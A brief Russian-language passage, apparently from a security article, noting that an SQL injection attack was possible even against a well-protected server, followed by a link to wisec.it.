В частности, мы видели, как при очень защищенном сервере, возможно было
провести атаку SQL Injection.

http://www.wisec.it